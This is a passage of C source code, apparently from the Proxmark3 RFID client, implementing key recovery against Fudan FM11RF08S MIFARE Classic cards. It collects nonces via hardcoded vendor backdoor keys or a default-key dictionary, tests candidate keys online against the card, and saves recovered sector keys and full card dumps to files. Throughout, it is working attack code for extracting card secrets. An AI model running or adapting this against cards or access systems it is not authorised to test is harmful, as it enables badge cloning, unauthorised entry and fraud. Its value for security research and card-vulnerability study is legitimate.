fm11_sen_keycheck_progress("def", real_sec, kt, done, total, defaults->count);
|
|
}
|
|
if (fm11_key_matches_nonce(uid, nonces, sec, kt, defaults->data[i].key, parity_mask)) {
|
|
int res = fm11_keylist_add_unique(matches, defaults->data[i].key);
|
|
if (res != PM3_SUCCESS) {
|
|
fm11_sen_clear_inplace();
|
|
return res;
|
|
}
|
|
}
|
|
done++;
|
|
}
|
|
fm11_sen_keycheck_progress("def", real_sec, kt, done, total, defaults->count);
|
|
}
|
|
}
|
|
fm11_sen_finish_inplace();
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_check_default_keys(uint32_t uid,
|
|
uint32_t nonce_count,
|
|
const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
const fm11_keylist_t *defaults,
|
|
uint8_t parity_mask,
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2]) {
|
|
fm11_keylist_t matches = {0};
|
|
int retval = fm11_collect_default_nonce_matches(uid, nonces, defaults, found_key, parity_mask, &matches);
|
|
if (retval != PM3_SUCCESS) {
|
|
fm11_keylist_free(&matches);
|
|
return retval;
|
|
}
|
|
char activity[80];
|
|
snprintf(activity, sizeof(activity), "Nonce evidence matched %u default/dictionary keys", matches.count);
|
|
fm11_sen_progress(nonce_count, activity, matches.count, 0);
|
|
if (matches.count == 0) {
|
|
fm11_keylist_free(&matches);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
sector_t *e_sector = calloc(FM11RF08S_NORMAL_SECTORS, sizeof(sector_t));
|
|
if (e_sector == NULL) {
|
|
fm11_keylist_free(&matches);
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
e_sector[sec].Key[kt] = keys_found[sec][kt];
|
|
e_sector[sec].foundKey[kt] = true;
|
|
}
|
|
}
|
|
}
|
|
|
|
const uint8_t keys_per_frame = fm11_keys_per_frame();
|
|
uint32_t pass_total = matches.count * FM11RF08S_NORMAL_SECTORS * 2;
|
|
bool progress_shown = false;
|
|
for (uint8_t strategy = 1; strategy < 3; strategy++) {
|
|
bool first_chunk = true;
|
|
for (uint32_t idx = 0; idx < matches.count; idx += keys_per_frame) {
|
|
if (kbd_enter_pressed()) {
|
|
retval = PM3_EOPABORTED;
|
|
goto normal_out;
|
|
}
|
|
|
|
uint8_t key_block[KEYBLOCK_SIZE] = {0};
|
|
uint8_t chunk = MIN(keys_per_frame, matches.count - idx);
|
|
bool last_chunk = (idx + chunk) >= matches.count;
|
|
for (uint8_t i = 0; i < chunk; i++) {
|
|
num_to_bytes(matches.data[idx + i].key, MIFARE_KEY_SIZE, key_block + (i * MIFARE_KEY_SIZE));
|
|
}
|
|
|
|
uint32_t shown_before = ((strategy - 1) * pass_total) + (idx * FM11RF08S_NORMAL_SECTORS * 2);
|
|
fm11_sen_keycheck_progress("def", FM11RF08S_NORMAL_SECTORS - 1, MF_KEY_B,
|
|
shown_before, pass_total * 2, matches.count);
|
|
progress_shown = true;
|
|
|
|
int res = mf_check_keys_fast_ex(FM11RF08S_NORMAL_SECTORS, first_chunk, last_chunk, strategy,
|
|
chunk, key_block, e_sector, false, false, true, 0);
|
|
if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
retval = res;
|
|
goto normal_out;
|
|
}
|
|
|
|
uint32_t pass_done = MIN(idx + chunk, matches.count) * FM11RF08S_NORMAL_SECTORS * 2;
|
|
uint32_t shown_done = ((strategy - 1) * pass_total) + pass_done;
|
|
fm11_sen_keycheck_progress("def", FM11RF08S_NORMAL_SECTORS - 1, MF_KEY_B,
|
|
shown_done, pass_total * 2, matches.count);
|
|
first_chunk = false;
|
|
}
|
|
}
|
|
|
|
normal_out:
|
|
if (progress_shown) {
|
|
fm11_sen_clear_inplace();
|
|
}
|
|
|
|
uint32_t sec32_total = matches.count * 2;
|
|
uint32_t sec32_done = 0;
|
|
uint8_t sec32 = FM11RF08S_SECTORS - 1;
|
|
uint8_t real_sec32 = fm11_real_sector(sec32);
|
|
for (uint8_t kt = 0; kt < 2 && retval == PM3_SUCCESS; kt++) {
|
|
if (found_key[sec32][kt]) {
|
|
sec32_done += matches.count;
|
|
continue;
|
|
}
|
|
for (uint32_t idx = 0; idx < matches.count; idx += keys_per_frame) {
|
|
if (kbd_enter_pressed()) {
|
|
retval = PM3_EOPABORTED;
|
|
break;
|
|
}
|
|
uint8_t key_block[KEYBLOCK_SIZE] = {0};
|
|
uint8_t chunk = MIN(keys_per_frame, matches.count - idx);
|
|
for (uint8_t i = 0; i < chunk; i++) {
|
|
num_to_bytes(matches.data[idx + i].key, MIFARE_KEY_SIZE, key_block + (i * MIFARE_KEY_SIZE));
|
|
}
|
|
uint64_t out_key = 0;
|
|
int res = mf_check_keys(mfFirstBlockOfSector(real_sec32), kt, false, chunk, key_block, &out_key);
|
|
sec32_done += chunk;
|
|
fm11_sen_keycheck_progress("def", real_sec32, kt, sec32_done, sec32_total, matches.count);
|
|
progress_shown = true;
|
|
if (res == PM3_SUCCESS) {
|
|
keys_found[sec32][kt] = out_key;
|
|
found_key[sec32][kt] = true;
|
|
fm11_print_key_hit_row(nonce_count, sec32, kt, keys_found[sec32][kt], found_key);
|
|
break;
|
|
}
|
|
if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
retval = res;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (progress_shown) {
|
|
fm11_sen_clear_inplace();
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
continue;
|
|
}
|
|
if (e_sector[sec].foundKey[kt]) {
|
|
keys_found[sec][kt] = e_sector[sec].Key[kt];
|
|
found_key[sec][kt] = true;
|
|
fm11_print_key_hit_row(nonce_count, sec, kt, keys_found[sec][kt], found_key);
|
|
}
|
|
}
|
|
}
|
|
free(e_sector);
|
|
fm11_keylist_free(&matches);
|
|
return retval;
|
|
}
|
|
|
|
static uint32_t fm11_propagate_key_reuse_online(uint32_t nonce_count, uint64_t key,
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2]) {
|
|
sector_t *e_sector = calloc(FM11RF08S_NORMAL_SECTORS, sizeof(sector_t));
|
|
if (e_sector == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
e_sector[sec].Key[kt] = keys_found[sec][kt];
|
|
e_sector[sec].foundKey[kt] = true;
|
|
}
|
|
}
|
|
}
|
|
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
uint8_t key_block[KEYBLOCK_SIZE] = {0};
|
|
num_to_bytes(key, MIFARE_KEY_SIZE, key_block);
|
|
uint32_t newly_found = 0;
|
|
|
|
uint32_t pass_total = FM11RF08S_NORMAL_SECTORS * 2;
|
|
bool progress_shown = false;
|
|
for (uint8_t strategy = 1; strategy < 3; strategy++) {
|
|
if (kbd_enter_pressed()) {
|
|
break;
|
|
}
|
|
int res = mf_check_keys_fast_ex(FM11RF08S_NORMAL_SECTORS, true, true, strategy, 1,
|
|
key_block, e_sector, false, false, true, 0);
|
|
if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
break;
|
|
}
|
|
fm11_sen_keycheck_progress("use", FM11RF08S_NORMAL_SECTORS - 1, MF_KEY_B,
|
|
strategy * pass_total, pass_total * 2, pass_total);
|
|
progress_shown = true;
|
|
if (res == PM3_SUCCESS) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
uint8_t sec32 = FM11RF08S_SECTORS - 1;
|
|
uint8_t real_sec32 = fm11_real_sector(sec32);
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (kbd_enter_pressed()) {
|
|
break;
|
|
}
|
|
if (found_key[sec32][kt]) {
|
|
continue;
|
|
}
|
|
uint64_t out_key = 0;
|
|
int res = mf_check_keys(mfFirstBlockOfSector(real_sec32), kt, false, 1, key_block, &out_key);
|
|
fm11_sen_keycheck_progress("use", real_sec32, kt, (pass_total * 2) + kt + 1, (pass_total * 2) + 2, pass_total + 2);
|
|
progress_shown = true;
|
|
if (res == PM3_SUCCESS && out_key == key) {
|
|
keys_found[sec32][kt] = key;
|
|
found_key[sec32][kt] = true;
|
|
newly_found++;
|
|
fm11_print_key_hit_row(nonce_count, sec32, kt, keys_found[sec32][kt], found_key);
|
|
}
|
|
}
|
|
if (progress_shown) {
|
|
fm11_sen_clear_inplace();
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
continue;
|
|
}
|
|
if (e_sector[sec].foundKey[kt] && e_sector[sec].Key[kt] == key) {
|
|
keys_found[sec][kt] = key;
|
|
found_key[sec][kt] = true;
|
|
newly_found++;
|
|
fm11_print_key_hit_row(nonce_count, sec, kt, keys_found[sec][kt], found_key);
|
|
}
|
|
}
|
|
}
|
|
|
|
free(e_sector);
|
|
return newly_found;
|
|
}
|
|
|
|
static uint32_t fm11_estimate_candidate_path_cost(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
const bool found_key[FM11RF08S_SECTORS][2],
|
|
uint8_t sec,
|
|
uint8_t kt) {
|
|
/*
|
|
* This is not raw list length. It estimates how many candidates we must
|
|
* test before this path can collapse the paired key list through a unique
|
|
* FM11RF08S seed match. A larger list can therefore be cheaper when one
|
|
* of its early candidates maps to exactly one paired candidate.
|
|
*/
|
|
if (nonces == NULL || found_key[sec][kt] || candidates[sec][kt].count == 0) {
|
|
return UINT32_MAX;
|
|
}
|
|
|
|
fm11_keylist_t *list = &candidates[sec][kt];
|
|
fm11_keylist_t *paired = &candidates[sec][kt ^ 1];
|
|
|
|
if (found_key[sec][kt ^ 1]) {
|
|
uint32_t nt = fm11_bytes_to_u32(nonces->nt[sec][kt]);
|
|
uint32_t paired_nt = fm11_bytes_to_u32(nonces->nt[sec][kt ^ 1]);
|
|
uint64_t paired_key = keys_found[sec][kt ^ 1] & 0xFFFFFFFFFFFFULL;
|
|
if (nt != paired_nt) {
|
|
uint16_t seed = fm11_compute_seednt16_nt32(paired_nt, paired_key);
|
|
fm11_compute_list_seeds(list, nt);
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (list->data[i].seed == seed) {
|
|
return i + 1;
|
|
}
|
|
}
|
|
return list->count;
|
|
}
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (list->data[i].key == paired_key) {
|
|
return i + 1;
|
|
}
|
|
}
|
|
return list->count;
|
|
}
|
|
|
|
uint32_t nt = fm11_bytes_to_u32(nonces->nt[sec][kt]);
|
|
uint32_t paired_nt = fm11_bytes_to_u32(nonces->nt[sec][kt ^ 1]);
|
|
if (paired->count == 0 || nt == paired_nt) {
|
|
return list->count;
|
|
}
|
|
|
|
fm11_compute_list_seeds(list, nt);
|
|
fm11_compute_list_seeds(paired, paired_nt);
|
|
uint16_t *paired_seed_count = calloc(UINT16_MAX + 1, sizeof(uint16_t));
|
|
if (paired_seed_count == NULL) {
|
|
return list->count;
|
|
}
|
|
for (uint32_t i = 0; i < paired->count; i++) {
|
|
uint16_t s = paired->data[i].seed;
|
|
if (paired_seed_count[s] < UINT16_MAX) {
|
|
paired_seed_count[s]++;
|
|
}
|
|
}
|
|
uint32_t cost = list->count;
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (paired_seed_count[list->data[i].seed] == 1) {
|
|
cost = i + 1;
|
|
break;
|
|
}
|
|
}
|
|
free(paired_seed_count);
|
|
return cost;
|
|
}
|
|
|
|
static void fm11_measure_candidate_paths(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
const bool found_key[FM11RF08S_SECTORS][2],
|
|
uint32_t nonce_count) {
|
|
uint8_t best_sec = 0xFF;
|
|
uint8_t best_kt = 0;
|
|
uint32_t best_cost = UINT32_MAX;
|
|
uint32_t best_count = UINT32_MAX;
|
|
uint32_t total = 0;
|
|
uint32_t done = 0;
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt] == false) {
|
|
total++;
|
|
}
|
|
}
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (((done & 0x3) == 0) && kbd_enter_pressed()) {
|
|
fm11_sen_clear_inplace();
|
|
return;
|
|
}
|
|
if (found_key[sec][kt]) {
|
|
continue;
|
|
}
|
|
uint32_t count = candidates[sec][kt].count;
|
|
uint32_t cost = fm11_estimate_candidate_path_cost(nonces, candidates, keys_found, found_key, sec, kt);
|
|
fm11_sen_compute_progress("Measurement", ++done, total, count);
|
|
if (cost < best_cost || (cost == best_cost && count < best_count)) {
|
|
best_cost = cost;
|
|
best_count = count;
|
|
best_sec = sec;
|
|
best_kt = kt;
|
|
}
|
|
}
|
|
}
|
|
if (total > 0) {
|
|
fm11_sen_clear_inplace();
|
|
}
|
|
|
|
if (best_sec != 0xFF) {
|
|
char activity[80];
|
|
snprintf(activity, sizeof(activity), "Measurement: best sec %03u %c cost %u list %u",
|
|
fm11_real_sector(best_sec), best_kt ? 'B' : 'A', best_cost, best_count);
|
|
fm11_sen_progress(nonce_count, activity, best_count, 0);
|
|
}
|
|
}
|
|
|
|
static int fm11_verify_candidates(uint8_t real_sec, uint8_t key_type, const fm11_keylist_t *list, uint64_t *key_out) {
|
|
if (list == NULL || key_out == NULL || list->count == 0) {
|
|
return PM3_ESOFT;
|
|
}
|
|
|
|
const uint8_t keys_per_frame = fm11_keys_per_frame();
|
|
uint8_t block_no = real_sec * 4;
|
|
uint32_t idx = 0;
|
|
uint8_t timeout_retries = 0;
|
|
uint32_t last_progress = 0;
|
|
fm11_sen_candidate_progress(real_sec, key_type, 0, list->count);
|
|
while (idx < list->count) {
|
|
if (kbd_enter_pressed()) {
|
|
return PM3_EOPABORTED;
|
|
}
|
|
uint8_t key_block[KEYBLOCK_SIZE] = {0};
|
|
uint8_t chunk = MIN(keys_per_frame, list->count - idx);
|
|
for (uint8_t i = 0; i < chunk; i++) {
|
|
num_to_bytes(list->data[idx + i].key, MIFARE_KEY_SIZE, key_block + (i * MIFARE_KEY_SIZE));
|
|
}
|
|
uint64_t found = 0;
|
|
bool found_valid = false;
|
|
int res = PM3_ESOFT;
|
|
if (real_sec < FM11RF08S_NORMAL_SECTORS) {
|
|
sector_t e_sector[FM11RF08S_NORMAL_SECTORS] = {0};
|
|
uint16_t single_sector_params = (block_no & 0xFF) | (key_type << 8) | (1 << 15);
|
|
res = mf_check_keys_fast_ex(FM11RF08S_NORMAL_SECTORS, idx == 0, (idx + chunk) >= list->count,
|
|
1, chunk, key_block, e_sector, false, false, true, single_sector_params);
|
|
if (res == PM3_SUCCESS && e_sector[real_sec].foundKey[key_type]) {
|
|
found = e_sector[real_sec].Key[key_type];
|
|
found_valid = true;
|
|
}
|
|
} else {
|
|
res = mf_check_keys(block_no, key_type, false, chunk, key_block, &found);
|
|
found_valid = (res == PM3_SUCCESS);
|
|
}
|
|
if (res == PM3_SUCCESS && found_valid) {
|
|
fm11_sen_candidate_progress(real_sec, key_type, MIN(idx + chunk, list->count), list->count);
|
|
*key_out = found;
|
|
return PM3_SUCCESS;
|
|
}
|
|
if (res == PM3_SUCCESS) {
|
|
fm11_sen_clear_inplace();
|
|
PrintAndLogEx(WARNING, "Ignoring sector %03u key %c check success without returned key material",
|
|
real_sec, key_type ? 'B' : 'A');
|
|
return PM3_ESOFT;
|
|
}
|
|
if (res == PM3_EOPABORTED) {
|
|
fm11_sen_clear_inplace();
|
|
return res;
|
|
}
|
|
if (res == PM3_ETIMEOUT && timeout_retries++ < 2) {
|
|
fm11_sen_clear_inplace();
|
|
PrintAndLogEx(WARNING, "Transient timeout checking sector %03u key %c candidates, retrying chunk %u",
|
|
real_sec, key_type ? 'B' : 'A', (idx / keys_per_frame) + 1);
|
|
fm11_sen_candidate_progress(real_sec, key_type, idx, list->count);
|
|
continue;
|
|
}
|
|
if (res == PM3_ETIMEOUT) {
|
|
fm11_sen_clear_inplace();
|
|
PrintAndLogEx(WARNING, "Timeout checking sector %03u key %c candidates after %u retries",
|
|
real_sec, key_type ? 'B' : 'A', timeout_retries);
|
|
return res;
|
|
}
|
|
timeout_retries = 0;
|
|
idx += chunk;
|
|
if (idx >= list->count || idx - last_progress >= 500) {
|
|
fm11_sen_candidate_progress(real_sec, key_type, idx, list->count);
|
|
last_progress = idx;
|
|
}
|
|
}
|
|
fm11_sen_clear_inplace();
|
|
return PM3_ESOFT;
|
|
}
|
|
|
|
static void fm11_print_key_table(const uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
const bool found_key[FM11RF08S_SECTORS][2]) {
|
|
char strA[26 + 1], strB[26 + 1], resA[20 + 1], resB[20 + 1];
|
|
PrintAndLogEx(NORMAL, "");
|
|
PrintAndLogEx(SUCCESS, "-----+-----+--------------+---+--------------+----");
|
|
PrintAndLogEx(SUCCESS, " Sec | Blk | key A |res| key B |res");
|
|
PrintAndLogEx(SUCCESS, "-----+-----+--------------+---+--------------+----");
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
uint8_t real_sec = fm11_real_sector(sec);
|
|
if (found_key[sec][0]) {
|
|
snprintf(strA, sizeof(strA), _GREEN_("%012" PRIX64), keys_found[sec][0]);
|
|
snprintf(resA, sizeof(resA), _BRIGHT_GREEN_("1"));
|
|
} else {
|
|
snprintf(strA, sizeof(strA), _RED_("------------"));
|
|
snprintf(resA, sizeof(resA), _RED_("0"));
|
|
}
|
|
if (found_key[sec][1]) {
|
|
snprintf(strB, sizeof(strB), _GREEN_("%012" PRIX64), keys_found[sec][1]);
|
|
snprintf(resB, sizeof(resB), _BRIGHT_GREEN_("1"));
|
|
} else {
|
|
snprintf(strB, sizeof(strB), _RED_("------------"));
|
|
snprintf(resB, sizeof(resB), _RED_("0"));
|
|
}
|
|
char extra[16] = {0};
|
|
if (sec >= FM11RF08S_NORMAL_SECTORS) {
|
|
snprintf(extra, sizeof(extra), "( " _MAGENTA_("*") " )");
|
|
}
|
|
PrintAndLogEx(SUCCESS, " " _YELLOW_("%03u") " | %03u | %s | %s | %s | %s %s",
|
|
real_sec,
|
|
real_sec * 4 + 3,
|
|
strA, resA,
|
|
strB, resB,
|
|
extra);
|
|
}
|
|
PrintAndLogEx(SUCCESS, "-----+-----+--------------+---+--------------+----");
|
|
PrintAndLogEx(NORMAL, "");
|
|
}
|
|
|
|
static int fm11_save_recovery_outputs(const iso14a_card_select_t *card, const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
const uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
const bool found_key[FM11RF08S_SECTORS][2],
|
|
bool no_oob, bool has_data) {
|
|
char fn[FILE_PATH_SIZE] = {0};
|
|
snprintf(fn, sizeof(fn), "hf-mf-%s-key", sprint_hex_inrow(card->uid, card->uidlen));
|
|
const uint64_t unknown_key = bytes_to_num(g_mifare_default_key, MIFARE_KEY_SIZE);
|
|
|
|
uint8_t sector_count = FM11RF08S_NORMAL_SECTORS + (no_oob ? 0 : 1);
|
|
uint8_t *keys = calloc(sector_count * 2 * MIFARE_KEY_SIZE, sizeof(uint8_t));
|
|
if (keys == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
uint8_t *p = keys;
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
for (uint8_t sec = 0; sec < sector_count; sec++) {
|
|
uint64_t key = found_key[sec][kt] ? keys_found[sec][kt] : unknown_key;
|
|
num_to_bytes(key, MIFARE_KEY_SIZE, p);
|
|
p += MIFARE_KEY_SIZE;
|
|
}
|
|
}
|
|
int res = saveFileEx(fn, ".bin", keys, sector_count * 2 * MIFARE_KEY_SIZE, spDump);
|
|
free(keys);
|
|
if (res != PM3_SUCCESS) {
|
|
return res;
|
|
}
|
|
if (has_data == false) {
|
|
PrintAndLogEx(WARNING, "Skipping dump file: nonce evidence was collected without block data");
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
uint8_t dump[MIFARE_1K_MAXBLOCK * MFBLOCK_SIZE] = {0};
|
|
for (uint8_t blk = 0; blk < MIFARE_1K_MAXBLOCK; blk++) {
|
|
memcpy(dump + (blk * MFBLOCK_SIZE), nonces->blocks[blk], MFBLOCK_SIZE);
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
uint8_t trailer = sec * 4 + 3;
|
|
uint64_t ka = found_key[sec][0] ? keys_found[sec][0] : unknown_key;
|
|
uint64_t kb = found_key[sec][1] ? keys_found[sec][1] : unknown_key;
|
|
num_to_bytes(ka, MIFARE_KEY_SIZE, dump + trailer * MFBLOCK_SIZE);
|
|
num_to_bytes(kb, MIFARE_KEY_SIZE, dump + trailer * MFBLOCK_SIZE + 10);
|
|
}
|
|
snprintf(fn, sizeof(fn), "hf-mf-%s-dump", sprint_hex_inrow(card->uid, card->uidlen));
|
|
return saveFileEx(fn, ".bin", dump, sizeof(dump), spDump);
|
|
}
|
|
|
|
static int fm11_select_mifare_classic(iso14a_card_select_t *card_out) {
|
|
uint64_t tagT = GetHF14AMfU_Type();
|
|
if (tagT != MFU_TT_UL_ERROR) {
|
|
PrintAndLogEx(ERR, "Detected a MIFARE Ultralight/C/NTAG Compatible card.");
|
|
PrintAndLogEx(ERR, "This command targets " _YELLOW_("MIFARE Classic"));
|
|
return PM3_ESOFT;
|
|
}
|
|
|
|
clearCommandBuffer();
|
|
SendIso14aReader(ISO14A_CONNECT | ISO14A_CLEARTRACE | ISO14A_NO_DISCONNECT, NULL, 0);
|
|
PacketResponseNG resp;
|
|
uint8_t sel_2763 = 0;
|
|
if (WaitForIso14aReply(&resp, 1500, NULL, &sel_2763) == false) {
|
|
PrintAndLogEx(DEBUG, "iso14443a card select timeout");
|
|
DropField();
|
|
return PM3_ETIMEOUT;
|
|
}
|
|
|
|
uint64_t select_status = sel_2763;
|
|
if (select_status == 0) {
|
|
PrintAndLogEx(FAILED, "No tag detected or other tag communication error");
|
|
PrintAndLogEx(HINT, "Hint: Try some distance or position of the card");
|
|
return PM3_ECARDEXCHANGE;
|
|
}
|
|
|
|
iso14a_card_select_t card = {0};
|
|
memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t));
|
|
|
|
if (select_status == 2) {
|
|
uint8_t rats[] = { 0xE0, 0x80 };
|
|
clearCommandBuffer();
|
|
SendIso14aReader(ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, rats, sizeof(rats));
|
|
uint16_t rlen_2784 = 0;
|
|
if (WaitForIso14aReply(&resp, 2500, &rlen_2784, NULL) == false) {
|
|
PrintAndLogEx(WARNING, "timeout while waiting for reply");
|
|
DropField();
|
|
return PM3_ETIMEOUT;
|
|
}
|
|
|
|
memcpy(card.ats, resp.data.asBytes, rlen_2784);
|
|
card.ats_len = rlen_2784;
|
|
if (card.ats_len > 3) {
|
|
select_status = 4;
|
|
}
|
|
}
|
|
|
|
uint8_t ats_hist_pos = 0;
|
|
if ((card.ats_len > 3) && (card.ats[0] > 1)) {
|
|
ats_hist_pos = 2;
|
|
ats_hist_pos += (card.ats[1] & 0x10) == 0x10;
|
|
ats_hist_pos += (card.ats[1] & 0x20) == 0x20;
|
|
ats_hist_pos += (card.ats[1] & 0x40) == 0x40;
|
|
}
|
|
|
|
version_hw_t version_hw = {0};
|
|
int res = hf14a_getversion_data(&card, select_status, &version_hw);
|
|
DropField();
|
|
bool version_hw_available = (res == PM3_SUCCESS);
|
|
|
|
int nxptype = detect_nxp_card(card.sak,
|
|
((card.atqa[1] << 8) + card.atqa[0]),
|
|
select_status,
|
|
card.ats_len - ats_hist_pos,
|
|
card.ats + ats_hist_pos,
|
|
version_hw_available,
|
|
&version_hw);
|
|
|
|
if ((nxptype & MTDESFIRE) == MTDESFIRE) {
|
|
PrintAndLogEx(ERR, "MIFARE DESFire card detected.");
|
|
PrintAndLogEx(ERR, "This command targets " _YELLOW_("MIFARE Classic"));
|
|
return PM3_ESOFT;
|
|
}
|
|
if ((nxptype & MTULTRALIGHT) == MTULTRALIGHT) {
|
|
PrintAndLogEx(ERR, "MIFARE Ultralight / NTAG detected.");
|
|
PrintAndLogEx(ERR, "This command targets " _YELLOW_("MIFARE Classic"));
|
|
return PM3_ESOFT;
|
|
}
|
|
if ((nxptype & MTPLUS) == MTPLUS && (nxptype & MTCLASSIC) == 0) {
|
|
PrintAndLogEx(ERR, "MIFARE Plus card detected.");
|
|
PrintAndLogEx(ERR, "This command targets " _YELLOW_("MIFARE Classic"));
|
|
return PM3_ESOFT;
|
|
}
|
|
if ((nxptype & (MTCLASSIC | MTMINI)) == 0) {
|
|
PrintAndLogEx(ERR, "No MIFARE Classic fingerprint detected.");
|
|
PrintAndLogEx(ERR, "This command targets " _YELLOW_("MIFARE Classic"));
|
|
return PM3_ESOFT;
|
|
}
|
|
|
|
if (card_out != NULL) {
|
|
*card_out = card;
|
|
}
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
int HFMFSENRecover(bool keep_nonces, bool no_oob, bool reader_mode, bool offline_only, int max_online_candidates, uint8_t parity_mask, bool skip_default_key_check, const sector_t *known_sectors, size_t known_sector_count) {
|
|
|
|
iso14a_card_select_t card = {0};
|
|
iso14a_fm11rf08s_nonces_with_data_t nonces = {0};
|
|
const uint8_t *active_key = NULL;
|
|
uint8_t active_key_bytes[MIFARE_KEY_SIZE] = {0};
|
|
bool collected_with_backdoor = false;
|
|
bool collected_with_data = false;
|
|
fm11_keylist_t default_keys = {0};
|
|
uint64_t t1 = msclock();
|
|
|
|
PrintAndLogEx(INFO, "Static Encrypted Nonce Key Recovery");
|
|
|
|
int card_res = fm11_select_mifare_classic(&card);
|
|
if (card_res != PM3_SUCCESS) {
|
|
return card_res;
|
|
}
|
|
|
|
fm11_sen_progress_header();
|
|
for (uint8_t i = 0; i < ARRAYLEN(fm11_backdoor_keys); i++) {
|
|
char activity[80];
|
|
snprintf(activity, sizeof(activity), "Collect nonce/data evidence with key %s", sprint_hex_inrow(fm11_backdoor_keys[i], MIFARE_KEY_SIZE));
|
|
fm11_sen_progress(0, activity, 0, 0);
|
|
int res = fm11_collect_nonces(fm11_backdoor_keys[i], &card, &nonces);
|
|
if (res == PM3_SUCCESS) {
|
|
active_key = fm11_backdoor_keys[i];
|
|
collected_with_backdoor = true;
|
|
collected_with_data = true;
|
|
break;
|
|
}
|
|
}
|
|
if (active_key == NULL) {
|
|
PrintAndLogEx(WARNING, "Unable to collect FM11RF08S nonce evidence with standard Fudan backdoor keys");
|
|
PrintAndLogEx(INFO, "Trying default-key dictionary to find an initial normal sector key");
|
|
|
|
int retval = fm11_load_default_keys(&default_keys);
|
|
if (retval != PM3_SUCCESS) {
|
|
fm11_keylist_free(&default_keys);
|
|
return retval;
|
|
}
|
|
|
|
retval = fm11_collect_nonces_from_default_key_fallback(&default_keys, &card, &nonces, active_key_bytes);
|
|
if (retval != PM3_SUCCESS) {
|
|
DropField();
|
|
PrintAndLogEx(WARNING, "Unable to collect FM11RF08S nonce evidence with the default-key dictionary");
|
|
PrintAndLogEx(HINT, "Hint: provide nonce evidence with `hf mf isen --collect_fm11rf08s_without_backdoor` and a known key");
|
|
fm11_keylist_free(&default_keys);
|
|
return retval;
|
|
}
|
|
|
|
active_key = active_key_bytes;
|
|
}
|
|
|
|
uint32_t uid;
|
|
if (card.uidlen == 7) {
|
|
uid = bytes_to_num(card.uid + 3, 4);
|
|
} else {
|
|
uid = bytes_to_num(card.uid, 4);
|
|
}
|
|
|
|
uint32_t nonce_count = FM11RF08S_SECTORS * 2;
|
|
char activity[80];
|
|
snprintf(activity, sizeof(activity), "Loaded card UID %08X using %s key %s", uid,
|
|
collected_with_backdoor ? "backdoor" : "dictionary",
|
|
sprint_hex_inrow(active_key, MIFARE_KEY_SIZE));
|
|
fm11_sen_progress(nonce_count, activity, 0, 0);
|
|
if (keep_nonces) {
|
|
char nonce_fn[FILE_PATH_SIZE] = {0};
|
|
snprintf(nonce_fn, sizeof(nonce_fn), "hf-mf-%s-nonces%s", sprint_hex_inrow(card.uid, card.uidlen),
|
|
collected_with_data ? "_with_data" : "");
|
|
pm3_save_fm11rf08s_nonces(nonce_fn, &nonces, collected_with_data);
|
|
fm11_sen_progress(nonce_count, "Saved nonce/data evidence JSON", 0, 0);
|
|
}
|
|
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2] = {{0}};
|
|
bool found_key[FM11RF08S_SECTORS][2] = {{0}};
|
|
uint64_t reader_keys[FM11RF08S_NORMAL_SECTORS][2] = {{0}};
|
|
bool reader_found[FM11RF08S_NORMAL_SECTORS][2] = {{0}};
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2] = {{{0}}};
|
|
